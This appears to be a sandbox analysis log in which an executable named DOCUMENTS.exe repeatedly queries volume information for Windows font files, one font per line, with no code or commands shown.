Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation Jump to behavior
